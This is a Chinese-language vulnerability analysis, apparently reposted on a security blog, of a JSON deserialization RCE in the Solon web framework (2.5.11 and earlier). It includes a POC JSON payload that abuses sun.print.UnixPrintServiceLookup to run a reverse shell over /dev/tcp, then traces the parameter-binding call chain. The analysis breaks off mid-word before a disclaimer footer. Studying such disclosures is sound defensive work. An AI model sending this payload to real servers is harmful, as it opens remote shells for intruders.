前言
上次看到星球有提到过solon这个国产的web框架,⾃⼰后⾯⼜看了下,发现在2.5.11及之下的版本对
json的解析都有类似fastjosn的特点,可以达成在linux下&jdk环境中的RCE
环境搭建
直接使⽤官⽅的⽰例 https://solon.noear.org/start/build.do?
artifact=helloworld_jdk8&project=maven&javaVer=1.8
修改pom.xml的solon-parent版本为2.5.11(存在漏洞的版本)
然后注意必须要在linux&&jdk环境下启动
漏洞触发的条件很简单,只要有接收参数的任意路由即可
POC
直接post发送如下json数据即可RCE
// 反弹shell { "name": { "@type": "sun.print.UnixPrintServiceLookup", "lpcFirstCom": [ ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;", ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;" ] } }
漏洞分析
先看看solon是怎么处理json数据的参数绑定的
直接在hello路由下断点,然后往前跟踪调⽤栈
我们直接发送json格式的数据
从这⾥往上找参数绑定的调⽤栈
可以看到在 org.noear.solon.core.handle.ActionExecuteHandlerDefault#executeHandle 这⾥调⽤
执⾏了 mWrap.invokeByAspect(obj, args.toArray()) 从⽽调⽤我们⾃定义的
com.example.demo.DemoController#hello ⽅法,⽽在上⾯的29⾏执⾏
buildArgs(ctx, obj, mWrap) ,从名⼦就能看出来是⽤于参数绑定
我们跟进这个参数绑定的⽅法
buildArgs中先是会对接收到的数据进⾏ changeBody 处理
当我们传的是json数据时会做⼀个json解析,得到⼀个ONode对象
后续回到 buildArgs 则是对hello路由⽅法的参数取得类型,并根据类型做相应的处理
后续来到 this.changeValue 这⾥
有⼀些判断,检验是否有 hello ⽅法对应的参数
继续跟进来到关键的 toObject ⽅法中
⼀路跟进来到 org.noear.snack.to.ObjectToer#analyse 中,这⾥会对我们的 ONode 对
象做⼀些特殊处理
这⾥有两个点要过,由于我们传⼊的json是 {"name":"pankas"} ,所以这⾥流程会⾛到正常的字
符串处理, clz 的值为 java.lang.String我们发送这样的json看看后续会怎么处理
{"name":{}}
修改后来到 clz = this.getTypeByNode(ctx, o, clz);
跟进,在 org.noear.snack.to.ObjectToer#getTypeByNode ⽅法中可以看到,当类型为
Ob
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)